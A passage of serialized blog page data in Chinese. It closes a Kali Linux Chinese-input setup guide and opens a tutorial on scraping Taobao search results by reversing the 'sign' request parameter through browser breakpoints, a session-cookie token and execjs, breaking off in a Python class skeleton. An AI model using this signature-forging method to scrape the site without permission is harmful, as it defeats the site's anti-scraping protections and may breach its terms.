tag":74,"props":38639,"children":38641},{"className":38640},[],[38642],{"type":24,"value":38596},{"type":24,"value":38644},"），然后",{"type":18,"tag":74,"props":38646,"children":38648},{"className":38647},[],[38649],{"type":24,"value":38612},{"type":24,"value":38614},{"type":18,"tag":74,"props":38652,"children":38654},{"className":38653},[],[38655],{"type":24,"value":38620},{"type":24,"value":38622},{"type":18,"tag":34,"props":38658,"children":38659},{},[38660],{"type":18,"tag":54,"props":38661,"children":38663},{"alt":8,"src":38662},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107142.png",[],{"type":18,"tag":154,"props":38665,"children":38666},{"start":799},[38667],{"type":18,"tag":158,"props":38668,"children":38669},{},[38670],{"type":24,"value":38671},"最后对kali进行重启，可以在终端输入下列内容：",{"type":18,"tag":287,"props":38673,"children":38675},{"className":289,"code":38674,"language":291,"meta":8,"style":8},"sudo reboot\n",[38676],{"type":18,"tag":74,"props":38677,"children":38678},{"__ignoreMap":8},[38679],{"type":18,"tag":297,"props":38680,"children":38681},{"class":299,"line":300},[38682,38686],{"type":18,"tag":297,"props":38683,"children":38684},{"style":304},[38685],{"type":24,"value":38572},{"type":18,"tag":297,"props":38687,"children":38688},{"style":310},[38689],{"type":24,"value":38690}," reboot\n",{"type":18,"tag":154,"props":38692,"children":38693},{"start":808},[38694],{"type":18,"tag":158,"props":38695,"children":38696},{},[38697,38699,38705,38707,38713],{"type":24,"value":38698},"重启后它会弹出文件夹语言更新的询问窗口，在该窗口中勾选 ",{"type":18,"tag":74,"props":38700,"children":38702},{"className":38701},[],[38703],{"type":24,"value":38704},"不要在询问我",{"type":24,"value":38706},"，然后选择 ",{"type":18,"tag":74,"props":38708,"children":38710},{"className":38709},[],[38711],{"type":24,"value":38712},"保留旧的名称",{"type":24,"value":38714}," 选项，否则后续可能遇到问题。至此，汉化完成！",{"type":18,"tag":34,"props":38716,"children":38717},{},[38718],{"type":18,"tag":54,"props":38719,"children":38721},{"alt":8,"src":38720},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107155.png",[],{"type":18,"tag":19,"props":38723,"children":38725},{"id":38724},"kali中文输入",[38726],{"type":24,"value":38727},"Kali中文输入",{"type":18,"tag":154,"props":38729,"children":38730},{},[38731],{"type":18,"tag":158,"props":38732,"children":38733},{},[38734],{"type":24,"value":38735},"在终端输入下列命令安装Google的输入法；",{"type":18,"tag":287,"props":38737,"children":38739},{"className":289,"code":38738,"language":291,"meta":8,"style":8},"sudo apt install fcitx fcitx-googlepinyin\n",[38740],{"type":18,"tag":74,"props":38741,"children":38742},{"__ignoreMap":8},[38743],{"type":18,"tag":297,"props":38744,"children":38745},{"class":299,"line":300},[38746,38750,38755,38759,38764],{"type":18,"tag":297,"props":38747,"children":38748},{"style":304},[38749],{"type":24,"value":38572},{"type":18,"tag":297,"props":38751,"children":38752},{"style":310},[38753],{"type":24,"value":38754}," apt",{"type":18,"tag":297,"props":38756,"children":38757},{"style":310},[38758],{"type":24,"value":28696},{"type":18,"tag":297,"props":38760,"children":38761},{"style":310},[38762],{"type":24,"value":38763}," fcitx",{"type":18,"tag":297,"props":38765,"children":38766},{"style":310},[38767],{"type":24,"value":38768}," fcitx-googlepinyin\n",{"type":18,"tag":34,"props":38770,"children":38771},{},[38772],{"type":18,"tag":54,"props":38773,"children":38775},{"alt":8,"src":38774},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107156.png",[],{"type":18,"tag":154,"props":38777,"children":38778},{"start":657},[38779,38792],{"type":18,"tag":158,"props":38780,"children":38781},{},[38782,38784,38790],{"type":24,"value":38783},"安装成功后终端输入 ",{"type":18,"tag":74,"props":38785,"children":38787},{"className":38786},[],[38788],{"type":24,"value":38789},"sudo reboot",{"type":24,"value":38791}," 进行重启；",{"type":18,"tag":158,"props":38793,"children":38794},{},[38795,38797,38803,38805,38811],{"type":24,"value":38796},"点击左上角kali图标，打开搜索页面，输入 ",{"type":18,"tag":74,"props":38798,"children":38800},{"className":38799},[],[38801],{"type":24,"value":38802},"fcitx",{"type":24,"value":38804}," ，选择 ",{"type":18,"tag":74,"props":38806,"children":38808},{"className":38807},[],[38809],{"type":24,"value":38810},"fcitx配置",{"type":24,"value":38812}," 选项；",{"type":18,"tag":34,"props":38814,"children":38815},{},[38816],{"type":18,"tag":54,"props":38817,"children":38819},{"alt":8,"src":38818},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107158.png",[],{"type":18,"tag":154,"props":38821,"children":38822},{"start":799},[38823],{"type":18,"tag":158,"props":38824,"children":38825},{},[38826,38828,38834],{"type":24,"value":38827},"在输入法配置窗口中选中 ",{"type":18,"tag":74,"props":38829,"children":38831},{"className":38830},[],[38832],{"type":24,"value":38833},"Google拼音",{"type":24,"value":38835}," 选项，然后点击下面的向上箭头，让它移动至顶端；",{"type":18,"tag":34,"props":38837,"children":38838},{},[38839],{"type":18,"tag":54,"props":38840,"children":38842},{"alt":8,"src":38841},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207104107160.png",[],{"type":18,"tag":154,"props":38844,"children":38845},{"start":808},[38846],{"type":18,"tag":158,"props":38847,"children":38848},{},[38849,38851,38857],{"type":24,"value":38850},"至此，中文输入法配置成功，点击 ",{"type":18,"tag":74,"props":38852,"children":38854},{"className":38853},[],[38855],{"type":24,"value":38856},"Ctrl + 空格",{"type":24,"value":38858}," 切换中\u002F英文输入法。",{"type":18,"tag":651,"props":38860,"children":38861},{},[38862],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":38864},[38865,38866,38867,38868,38869],{"id":38289,"depth":657,"text":38292},{"id":38317,"depth":657,"text":38320},{"id":38422,"depth":657,"text":38425},{"id":38546,"depth":657,"text":38549},{"id":38724,"depth":657,"text":38727},"content:blog:2026-02-07-KaliInstall.md","blog\u002F2026-02-07-KaliInstall.md","blog\u002F2026-02-07-KaliInstall",{"_path":38874,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":38875,"description":38876,"date":38877,"tags":38878,"body":38880,"_type":672,"_id":41420,"_source":674,"_file":41421,"_stem":41422,"_extension":677},"\u002Fblog\u002F2025-11-09-taobao-search","淘宝搜索接口实现","Python爬虫实战：淘宝搜索接口逆向分析，sign参数JS逆向、execjs调用与数据采集。","2025-11-09",[28616,33340,38879],"JavaScript逆向",{"type":15,"children":38881,"toc":41414},[38882,38887,38892,38900,38923,38928,38933,38936,38941,38949,38954,38962,38990,38998,39010,39045,39053,39087,39092,39095,39129,39211,39232,39313,39379,39387,39420,39428,39447,39455,39460,39465,39470,39473,39478,39506,39511,39776,39781,39786,39789,39802,40005,40017,40022,40025,40104,40260,40265,40268,40280,40571,40576,40579,40615,40868,40873,40876,40881,41013,41018,41021,41026,41057,41062,41067,41075,41080,41088,41108,41116,41121,41129,41134,41142,41147,41235,41254,41378,41383,41391,41410],{"type":18,"tag":19,"props":38883,"children":38885},{"id":38884},"前言",[38886],{"type":24,"value":38884},{"type":18,"tag":34,"props":38888,"children":38889},{},[38890],{"type":24,"value":38891},"Hello，大家好啊！经过两个月的疯玩，现在临近期中考试，我又来沉淀了！最近对Python爬虫挺感兴趣，于是进行简单学习后搞了一个入门小项目，这次我将对淘宝网站的接口进行研究！",{"type":18,"tag":34,"props":38893,"children":38894},{},[38895],{"type":18,"tag":105,"props":38896,"children":38897},{},[38898],{"type":24,"value":38899},"前提准备",{"type":18,"tag":210,"props":38901,"children":38902},{},[38903,38908],{"type":18,"tag":158,"props":38904,"children":38905},{},[38906],{"type":24,"value":38907},"模块安装：Requests、fake_useragent、execjs",{"type":18,"tag":158,"props":38909,"children":38910},{},[38911,38913],{"type":24,"value":38912},"目标网站：",{"type":18,"tag":2577,"props":38914,"children":38916},{"color":38915},"blue",[38917],{"type":18,"tag":43,"props":38918,"children":38921},{"href":38919,"rel":38920},"https:\u002F\u002Fwww.taobao.com",[47],[38922],{"type":24,"value":38919},{"type":18,"tag":19,"props":38924,"children":38926},{"id":38925},"分析目标",[38927],{"type":24,"value":38925},{"type":18,"tag":337,"props":38929,"children":38931},{"id":38930},"初步分析",[38932],{"type":24,"value":38930},{"type":18,"tag":121,"props":38934,"children":38935},{},[],{"type":18,"tag":34,"props":38937,"children":38938},{},[38939],{"type":24,"value":38940},"首先，打开淘宝官方网站，在搜索栏中输入关键字进行搜索，将进入我们即将分析的数据页面，在该网页可以看到商品的名称、价格、销售量等等各种数据信息，接下来我需要对这些数据进行采集。",{"type":18,"tag":34,"props":38942,"children":38943},{},[38944],{"type":18,"tag":54,"props":38945,"children":38948},{"alt":38946,"src":38947},"Couioly-2025-11-08_23-33-05","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FCouioly-2025-11-08_23-33-05.png",[],{"type":18,"tag":34,"props":38950,"children":38951},{},[38952],{"type":24,"value":38953},"打开network工具，刷新网页对数据包进行抓取，在网页信息中任意找一个价格在network搜索栏中进行搜索，找到我们需要抓取的数据包。",{"type":18,"tag":34,"props":38955,"children":38956},{},[38957],{"type":18,"tag":54,"props":38958,"children":38961},{"alt":38959,"src":38960},"Couioly-2025-11-08_23-40-40","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FCouioly-2025-11-08_23-40-40.png",[],{"type":18,"tag":34,"props":38963,"children":38964},{},[38965,38967,38973,38975,38980,38982,38988],{"type":24,"value":38966},"工具栏切换至 ",{"type":18,"tag":74,"props":38968,"children":38970},{"className":38969},[],[38971],{"type":24,"value":38972},"预览",{"type":24,"value":38974}," 面板，然后依次点开 ",{"type":18,"tag":74,"props":38976,"children":38978},{"className":38977},[],[38979],{"type":24,"value":20232},{"type":24,"value":38981}," -> ",{"type":18,"tag":74,"props":38983,"children":38985},{"className":38984},[],[38986],{"type":24,"value":38987},"itemsArray",{"type":24,"value":38989},"，将发现我们所需的数据都在该位置，所以可以确定这个数据包就是接下来我所需要采集的目标。",{"type":18,"tag":34,"props":38991,"children":38992},{},[38993],{"type":18,"tag":54,"props":38994,"children":38997},{"alt":38995,"src":38996},"Couioly-2025-11-08_23-42-40","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FCouioly-2025-11-08_23-42-40.png",[],{"type":18,"tag":34,"props":38999,"children":39000},{},[39001,39002,39008],{"type":24,"value":38966},{"type":18,"tag":74,"props":39003,"children":39005},{"className":39004},[],[39006],{"type":24,"value":39007},"载荷",{"type":24,"value":39009}," 面板，经过多次数据包的抓取和分析可以发现，变化的参数存在三个：",{"type":18,"tag":210,"props":39011,"children":39012},{},[39013,39024,39035],{"type":18,"tag":158,"props":39014,"children":39015},{},[39016,39022],{"type":18,"tag":74,"props":39017,"children":39019},{"className":39018},[],[39020],{"type":24,"value":39021},"t",{"type":24,"value":39023},": 该参数表示时间戳",{"type":18,"tag":158,"props":39025,"children":39026},{},[39027,39033],{"type":18,"tag":74,"props":39028,"children":39030},{"className":39029},[],[39031],{"type":24,"value":39032},"sign",{"type":24,"value":39034},": 加密参数",{"type":18,"tag":158,"props":39036,"children":39037},{},[39038,39043],{"type":18,"tag":74,"props":39039,"children":39041},{"className":39040},[],[39042],{"type":24,"value":20232},{"type":24,"value":39044},"参数的q值：搜索内容编码",{"type":18,"tag":34,"props":39046,"children":39047},{},[39048],{"type":18,"tag":54,"props":39049,"children":39052},{"alt":39050,"src":39051},"Couioly-2025-11-08_23-48-12","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FCouioly-2025-11-08_23-48-12.png",[],{"type":18,"tag":34,"props":39054,"children":39055},{},[39056,39058,39063,39065,39071,39073,39078,39080,39085],{"type":24,"value":39057},"初步分析，时间戳 ",{"type":18,"tag":74,"props":39059,"children":39061},{"className":39060},[],[39062],{"type":24,"value":39021},{"type":24,"value":39064}," 我可以使用 ",{"type":18,"tag":74,"props":39066,"children":39068},{"className":39067},[],[39069],{"type":24,"value":39070},"time",{"type":24,"value":39072}," 模块来解决，",{"type":18,"tag":74,"props":39074,"children":39076},{"className":39075},[],[39077],{"type":24,"value":20232},{"type":24,"value":39079}," 参数的q值我可以使用字符串拼接方式实现，问题就在与 ",{"type":18,"tag":74,"props":39081,"children":39083},{"className":39082},[],[39084],{"type":24,"value":39032},{"type":24,"value":39086}," 参数的生成。",{"type":18,"tag":337,"props":39088,"children":39090},{"id":39089},"进阶分析",[39091],{"type":24,"value":39089},{"type":18,"tag":121,"props":39093,"children":39094},{},[],{"type":18,"tag":34,"props":39096,"children":39097},{},[39098,39100,39105,39107,39113,39115,39120,39122,39127],{"type":24,"value":39099},"接下来，需要对 ",{"type":18,"tag":74,"props":39101,"children":39103},{"className":39102},[],[39104],{"type":24,"value":39032},{"type":24,"value":39106}," 参数进行逆向分析它的生成方式。首先打开全局搜索，输入 ",{"type":18,"tag":74,"props":39108,"children":39110},{"className":39109},[],[39111],{"type":24,"value":39112},"sign:",{"type":24,"value":39114}," 进行搜素，在疑似生成目标参数的js代码片段前打上断点。然后再次执行搜索操作，程序将在断点处中断，通过调试分析发现，某个断点处包含 ",{"type":18,"tag":74,"props":39116,"children":39118},{"className":39117},[],[39119],{"type":24,"value":39032},{"type":24,"value":39121}," 的js代码片段中存在一个对 ",{"type":18,"tag":74,"props":39123,"children":39125},{"className":39124},[],[39126],{"type":24,"value":39032},{"type":24,"value":39128}," 进行赋值的操作，该js代码参考如下：",{"type":18,"tag":287,"props":39130,"children":39134},{"code":39131,"language":39132,"meta":8,"className":39133,"style":8},"L{\njsv: 2.0.4,\ncT: t,\nsign: c\n}\n","js","language-js shiki shiki-themes github-dark",[39135],{"type":18,"tag":74,"props":39136,"children":39137},{"__ignoreMap":8},[39138,39150,39179,39192,39204],{"type":18,"tag":297,"props":39139,"children":39140},{"class":299,"line":300},[39141,39146],{"type":18,"tag":297,"props":39142,"children":39143},{"style":906},[39144],{"type":24,"value":39145},"L",{"type":18,"tag":297,"props":39147,"children":39148},{"style":327},[39149],{"type":24,"value":9273},{"type":18,"tag":297,"props":39151,"children":39152},{"class":299,"line":657},[39153,39158,39162,39167,39171,39175],{"type":18,"tag":297,"props":39154,"children":39155},{"style":304},[39156],{"type":24,"value":39157},"jsv",{"type":18,"tag":297,"props":39159,"children":39160},{"style":327},[39161],{"type":24,"value":9286},{"type":18,"tag":297,"props":39163,"children":39164},{"style":906},[39165],{"type":24,"value":39166},"2.0",{"type":18,"tag":297,"props":39168,"children":39169},{"style":327},[39170],{"type":24,"value":1147},{"type":18,"tag":297,"props":39172,"children":39173},{"style":906},[39174],{"type":24,"value":524},{"type":18,"tag":297,"props":39176,"children":39177},{"style":327},[39178],{"type":24,"value":9296},{"type":18,"tag":297,"props":39180,"children":39181},{"class":299,"line":662},[39182,39187],{"type":18,"tag":297,"props":39183,"children":39184},{"style":304},[39185],{"type":24,"value":39186},"cT",{"type":18,"tag":297,"props":39188,"children":39189},{"style":327},[39190],{"type":24,"value":39191},": t,\n",{"type":18,"tag":297,"props":39193,"children":39194},{"class":299,"line":799},[39195,39199],{"type":18,"tag":297,"props":39196,"children":39197},{"style":304},[39198],{"type":24,"value":39032},{"type":18,"tag":297,"props":39200,"children":39201},{"style":327},[39202],{"type":24,"value":39203},": c\n",{"type":18,"tag":297,"props":39205,"children":39206},{"class":299,"line":808},[39207],{"type":18,"tag":297,"props":39208,"children":39209},{"style":327},[39210],{"type":24,"value":9524},{"type":18,"tag":34,"props":39212,"children":39213},{},[39214,39216,39222,39224,39230],{"type":24,"value":39215},"向上查找发现，变量 ",{"type":18,"tag":74,"props":39217,"children":39219},{"className":39218},[],[39220],{"type":24,"value":39221},"c",{"type":24,"value":39223}," 是由字符串拼接后作参数传入函数 ",{"type":18,"tag":74,"props":39225,"children":39227},{"className":39226},[],[39228],{"type":24,"value":39229},"eE",{"type":24,"value":39231}," 得到的，涉及字符串如下：",{"type":18,"tag":287,"props":39233,"children":39235},{"code":39234,"language":39132,"meta":8,"className":39133,"style":8},"c = eE(em.token + \"&\" + eT + \"&\" + eC + \"&\" + ep.data)\n",[39236],{"type":18,"tag":74,"props":39237,"children":39238},{"__ignoreMap":8},[39239],{"type":18,"tag":297,"props":39240,"children":39241},{"class":299,"line":300},[39242,39247,39251,39256,39261,39265,39270,39274,39279,39283,39287,39291,39296,39300,39304,39308],{"type":18,"tag":297,"props":39243,"children":39244},{"style":327},[39245],{"type":24,"value":39246},"c ",{"type":18,"tag":297,"props":39248,"children":39249},{"style":316},[39250],{"type":24,"value":9692},{"type":18,"tag":297,"props":39252,"children":39253},{"style":304},[39254],{"type":24,"value":39255}," eE",{"type":18,"tag":297,"props":39257,"children":39258},{"style":327},[39259],{"type":24,"value":39260},"(em.token ",{"type":18,"tag":297,"props":39262,"children":39263},{"style":316},[39264],{"type":24,"value":17126},{"type":18,"tag":297,"props":39266,"children":39267},{"style":310},[39268],{"type":24,"value":39269}," \"&\"",{"type":18,"tag":297,"props":39271,"children":39272},{"style":316},[39273],{"type":24,"value":17117},{"type":18,"tag":297,"props":39275,"children":39276},{"style":327},[39277],{"type":24,"value":39278}," eT ",{"type":18,"tag":297,"props":39280,"children":39281},{"style":316},[39282],{"type":24,"value":17126},{"type":18,"tag":297,"props":39284,"children":39285},{"style":310},[39286],{"type":24,"value":39269},{"type":18,"tag":297,"props":39288,"children":39289},{"style":316},[39290],{"type":24,"value":17117},{"type":18,"tag":297,"props":39292,"children":39293},{"style":327},[39294],{"type":24,"value":39295}," eC ",{"type":18,"tag":297,"props":39297,"children":39298},{"style":316},[39299],{"type":24,"value":17126},{"type":18,"tag":297,"props":39301,"children":39302},{"style":310},[39303],{"type":24,"value":39269},{"type":18,"tag":297,"props":39305,"children":39306},{"style":316},[39307],{"type":24,"value":17117},{"type":18,"tag":297,"props":39309,"children":39310},{"style":327},[39311],{"type":24,"value":39312}," ep.data)\n",{"type":18,"tag":34,"props":39314,"children":39315},{},[39316,39318,39324,39326,39332,39334,39339,39341,39347,39349,39354,39356,39362,39364,39370,39372,39377],{"type":24,"value":39317},"将鼠标移动至这些拼接字符串的变量名上面，将弹出该变量的值，多次调试分析值后发现，存在一个 ",{"type":18,"tag":74,"props":39319,"children":39321},{"className":39320},[],[39322],{"type":24,"value":39323},"em.token",{"type":24,"value":39325}," 值，将该值复制后使用放大镜进行搜索发现，该值存在于 ",{"type":18,"tag":74,"props":39327,"children":39329},{"className":39328},[],[39330],{"type":24,"value":39331},"cookie",{"type":24,"value":39333}," 中，每隔一段时间将刷新一次，所以只需及时更换 ",{"type":18,"tag":74,"props":39335,"children":39337},{"className":39336},[],[39338],{"type":24,"value":39331},{"type":24,"value":39340}," 即可；接着是 ",{"type":18,"tag":74,"props":39342,"children":39344},{"className":39343},[],[39345],{"type":24,"value":39346},"eT",{"type":24,"value":39348}," 变量，该变量的值刚好与载荷中的参数 ",{"type":18,"tag":74,"props":39350,"children":39352},{"className":39351},[],[39353],{"type":24,"value":39021},{"type":24,"value":39355}," 相同；变量 ",{"type":18,"tag":74,"props":39357,"children":39359},{"className":39358},[],[39360],{"type":24,"value":39361},"eC",{"type":24,"value":39363}," 经过多次调试发现值是固定的；变量 ",{"type":18,"tag":74,"props":39365,"children":39367},{"className":39366},[],[39368],{"type":24,"value":39369},"ep.data",{"type":24,"value":39371}," 与载荷中的 ",{"type":18,"tag":74,"props":39373,"children":39375},{"className":39374},[],[39376],{"type":24,"value":20232},{"type":24,"value":39378}," 参数相同。",{"type":18,"tag":34,"props":39380,"children":39381},{},[39382],{"type":18,"tag":54,"props":39383,"children":39386},{"alt":39384,"src":39385},"Pasted image 20251110125954","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FPasted%20image%2020251110125954.png",[],{"type":18,"tag":34,"props":39388,"children":39389},{},[39390,39392,39397,39399,39404,39406,39411,39413,39418],{"type":24,"value":39391},"至此我们解决了 ",{"type":18,"tag":74,"props":39393,"children":39395},{"className":39394},[],[39396],{"type":24,"value":39229},{"type":24,"value":39398}," 函数传参问题，现在我们需要找到 ",{"type":18,"tag":74,"props":39400,"children":39402},{"className":39401},[],[39403],{"type":24,"value":39229},{"type":24,"value":39405}," 函数体。当程序处于断点调试状态时且断点到对 ",{"type":18,"tag":74,"props":39407,"children":39409},{"className":39408},[],[39410],{"type":24,"value":39221},{"type":24,"value":39412}," 赋值部分的代码片段，可以通过将鼠标移动至 ",{"type":18,"tag":74,"props":39414,"children":39416},{"className":39415},[],[39417],{"type":24,"value":39229},{"type":24,"value":39419}," 函数上，将弹出该函数的原始函数体，点击后将跳转至函数体本身。",{"type":18,"tag":34,"props":39421,"children":39422},{},[39423],{"type":18,"tag":54,"props":39424,"children":39427},{"alt":39425,"src":39426},"Pasted image 20251110130039","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FPasted%20image%2020251110130039.png",[],{"type":18,"tag":34,"props":39429,"children":39430},{},[39431,39433,39438,39440,39445],{"type":24,"value":39432},"然后对该函数体进行复制，单独存入一个js文件中，然后在js文件中写入该函数所需的参数并进行调用调试，查看是否存在不完整情况，若成功得到加密后的 ",{"type":18,"tag":74,"props":39434,"children":39436},{"className":39435},[],[39437],{"type":24,"value":39032},{"type":24,"value":39439}," 值，则代表我们成功的找到了 ",{"type":18,"tag":74,"props":39441,"children":39443},{"className":39442},[],[39444],{"type":24,"value":39032},{"type":24,"value":39446}," 参数值的生成代码块。",{"type":18,"tag":34,"props":39448,"children":39449},{},[39450],{"type":18,"tag":54,"props":39451,"children":39454},{"alt":39452,"src":39453},"Pasted image 20251110130142","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FPasted%20image%2020251110130142.png",[],{"type":18,"tag":19,"props":39456,"children":39458},{"id":39457},"代码实现",[39459],{"type":24,"value":39457},{"type":18,"tag":34,"props":39461,"children":39462},{},[39463],{"type":24,"value":39464},"分析了解完搜索部分的实现过程后，我们来设计代码，使用代码实现该功能。",{"type":18,"tag":337,"props":39466,"children":39468},{"id":39467},"代码整体架构",[39469],{"type":24,"value":39467},{"type":18,"tag":121,"props":39471,"children":39472},{},[],{"type":18,"tag":34,"props":39474,"children":39475},{},[39476],{"type":24,"value":39477},"通过对目标网站的分析以及Requests的请求模块实现，对代码体进行简单构思：",{"type":18,"tag":154,"props":39479,"children":39480},{},[39481,39486,39491,39496,39501],{"type":18,"tag":158,"props":39482,"children":39483},{},[39484],{"type":24,"value":39485},"确定请求方式",{"type":18,"tag":158,"props":39487,"children":39488},{},[39489],{"type":24,"value":39490},"确定请求头和请求参数",{"type":18,"tag":158,"props":39492,"children":39493},{},[39494],{"type":24,"value":39495},"发起请求得到响应体",{"type":18,"tag":158,"props":39497,"children":39498},{},[39499],{"type":24,"value":39500},"对响应体中的数据进行提取",{"type":18,"tag":158,"props":39502,"children":39503},{},[39504],{"type":24,"value":39505},"对提取到的数据进行保存",{"type":18,"tag":34,"props":39507,"children":39508},{},[39509],{"type":24,"value":39510},"编写代码的整体框架：",{"type":18,"tag":287,"props":39512,"children":39514},{"code":39513,"language":28712,"meta":8,"className":28710,"style":8},"class TaobaoSearch(object):\n\n    def __init__(self):\n        \"\"\"\n        初始化数据，定义用户输入\n        \"\"\"\n    \n    def get_sign(self,t: str,data: str)->str:\n        \"\"\"\n        生成加密参数sign\n        :param t: 时间戳\n        :param data: 请求参数中的data\n        :return: 加密后的sign值\n        \"\"\"\n        \n    def push_requests(self):\n        \"\"\"\n        发送请求，获取搜索数据\n        :return: response响应体\n        \"\"\"\n        \n    def format_and_save_data(self,response):\n        \"\"\"\n        对传入的响应体数据进行处理\n        提取指定的数据内容\n        :param response: 响应体内容\n        :return: None\n        \"\"\"\n        \n    def save_data(self):\n        \"\"\"\n        对提取到的数据进行本地化存储\n        :return: None\n        \"\"\"\n",[39515],{"type":18,"tag":74,"props":39516,"children":39517},{"__ignoreMap":8},[39518,39526,39533,39541,39549,39557,39564,39571,39579,39586,39594,39602,39610,39618,39625,39633,39641,39648,39656,39664,39671,39678,39686,39693,39701,39709,39717,39725,39732,39739,39747,39754,39762,39769],{"type":18,"tag":297,"props":39519,"children":39520},{"class":299,"line":300},[39521],{"type":18,"tag":297,"props":39522,"children":39523},{},[39524],{"type":24,"value":39525},"class TaobaoSearch(object):\n",{"type":18,"tag":297,"props":39527,"children":39528},{"class":299,"line":657},[39529],{"type":18,"tag":297,"props":39530,"children":39531},{"emptyLinePlaceholder":793},[39532],{"type":24,"value":796},{"type":18,"tag":297,"props":39534,"children":39535},{"class":299,"line":662},[39536],{"type":18,"tag":297,"props":39537,"children":39538},{},[39539],{"type":24,"value":39540},"    def __init__(self):\n",{"type":18,"tag":297,"props":39542,"children":39543},{"class":299,"line":799},[39544],{"type":18,"tag":297,"props":39545,"children":39546},{},[39547],{"type":24,"value":39548},"        \"\"\"\n",{"type":18,"tag":297,"props":39550,"children":39551},{"class":299,"line":808},[39552],{"type":18,"tag":297,"props":39553,"children":39554},{},[39555],{"type":24,"value":39556},"        初始化数据，定义用户输入\n",{"type":18,"tag":297,"props":39558,"children":39559},{"class":299,"line":817},[39560],{"type":18,"tag":297,"props":39561,"children":39562},{},[39563],{"type":24,"value":39548},{"type":18,"tag":297,"props":39565,"children":39566},{"class":299,"line":826},[39567],{"type":18,"tag":297,"props":39568,"children":39569},{},[39570],{"type":24,"value":12715},{"type":18,"tag":297,"props":39572,"children":39573},{"class":299,"line":4524},[39574],{"type":18,"tag":297,"props":39575,"children":39576},{},[39577],{"type":24,"value":39578},"    def get_sign(self,t: str,data: str)->str:\n",{"type":18,"tag":297,"props":39580,"children":39581},{"class":299,"line":4533},[39582],{"type":18,"tag":297,"props":39583,"children":39584},{},[39585],{"type":24,"value":39548},{"type":18,"tag":297,"props":39587,"children":39588},{"class":299,"line":4546},[39589],{"type":18,"tag":297,"props":39590,"children":39591},{},[39592],{"type":24,"value":39593},"        生成加密参数sign\n",{"type":18,"tag":297,"props":39595,"children":39596},{"class":299,"line":4555},[39597],{"type":18,"tag":297,"props":39598,"children":39599},{},[39600],{"type":24,"value":39601},"        :param t: 时间戳\n",{"type":18,"tag":297,"props":39603,"children":39604},{"class":299,"line":4568},[39605],{"type":18,"tag":297,"props":39606,"children":39607},{},[39608],{"type":24,"value":39609},"        :param data: 请求参数中的data\n",{"type":18,"tag":297,"props":39611,"children":39612},{"class":299,"line":4577},[39613],{"type":18,"tag":297,"props":39614,"children":39615},{},[39616],{"type":24,"value":39617},"        :return: 加密后的sign值\n",{"type":18,"tag":297,"props":39619,"children":39620},{"class":299,"line":4590},[39621],{"type":18,"tag":297,"props":39622,"children":39623},{},[39624],{"type":24,"value":39548},{"type":18,"tag":297,"props":39626,"children":39627},{"class":299,"line":4599},[39628],{"type":18,"tag":297,"props":39629,"children":39630},{},[39631],{"type":24,"value":39632},"        \n",{"type":18,"tag":297,"props":39634,"children":39635},{"class":299,"line":4607},[39636],{"type":18,"tag":297,"props":39637,"children":39638},{},[39639],{"type":24,"value":39640},"    def push_requests(self):\n",{"type":18,"tag":297,"props":39642,"children":39643},{"class":299,"line":4616},[39644],{"type":18,"tag":297,"props":39645,"children":39646},{},[39647],{"type":24,"value":39548},{"type":18,"tag":297,"props":39649,"children":39650},{"class":299,"line":4624},[39651],{"type":18,"tag":297,"props":39652,"children":39653},{},[39654],{"type":24,"value":39655},"        发送请求，获取搜索数据\n",{"type":18,"tag":297,"props":39657,"children":39658},{"class":299,"line":4633},[39659],{"type":18,"tag":297,"props":39660,"children":39661},{},[39662],{"type":24,"value":39663},"        :return: response响应体\n",{"type":18,"tag":297,"props":39665,"children":39666},{"class":299,"line":4641},[39667],{"type":18,"tag":297,"props":39668,"children":39669},{},[39670],{"type":24,"value":39548},{"type":18,"tag":297,"props":39672,"children":39673},{"class":299,"line":4650},[39674],{"type":18,"tag":297,"props":39675,"children":39676},{},[39677],{"type":24,"value":39632},{"type":18,"tag":297,"props":39679,"children":39680},{"class":299,"line":4658},[39681],{"type":18,"tag":297,"props":39682,"children":39683},{},[39684],{"type":24,"value":39685},"    def format_and_save_data(self,response):\n",{"type":18,"tag":297,"props":39687,"children":39688},{"class":299,"line":4681},[39689],{"type":18,"tag":297,"props":39690,"children":39691},{},[39692],{"type":24,"value":39548},{"type":18,"tag":297,"props":39694,"children":39695},{"class":299,"line":4703},[39696],{"type":18,"tag":297,"props":39697,"children":39698},{},[39699],{"type":24,"value":39700},"        对传入的响应体数据进行处理\n",{"type":18,"tag":297,"props":39702,"children":39703},{"class":299,"line":4711},[39704],{"type":18,"tag":297,"props":39705,"children":39706},{},[39707],{"type":24,"value":39708},"        提取指定的数据内容\n",{"type":18,"tag":297,"props":39710,"children":39711},{"class":299,"line":4720},[39712],{"type":18,"tag":297,"props":39713,"children":39714},{},[39715],{"type":24,"value":39716},"        :param response: 响应体内容\n",{"type":18,"tag":297,"props":39718,"children":39719},{"class":299,"line":4728},[39720],{"type":18,"tag":297,"props":39721,"children":39722},{},[39723],{"type":24,"value":39724},"        :return: None\n",{"type":18,"tag":297,"props":39726,"children":39727},{"class":299,"line":13515},[39728],{"type":18,"tag":297,"props":39729,"children":39730},{},[39731],{"type":24,"value":39548},{"type":18,"tag":297,"props":39733,"children":39734},{"class":299,"line":13553},[39735],{"type":18,"tag":297,"props":39736,"children":39737},{},[39738],{"type":24,"value":39632},{"type":18,"tag":297,"props":39740,"children":39741},{"class":299,"line":13591},[39742],{"type":18,"tag":297,"props":39743,"children":39744},{},[39745],{"type":24,"value":39746},"    def save_data(self):\n",{"type":18,"tag":297,"props":39748,"children":39749},{"class":299,"line":13624},[39750],{"type":18,"tag":297,"props":39751,"children":39752},{},[39753],{"type":24,"value":39548},{"type":18,"tag":297,"props":39755,"children":39756},{"class":299,"line":13632},[39757],{"type":18,"tag":297,"props":39758,"children":39759},{},[39760],{"type":24,"value":39761},"        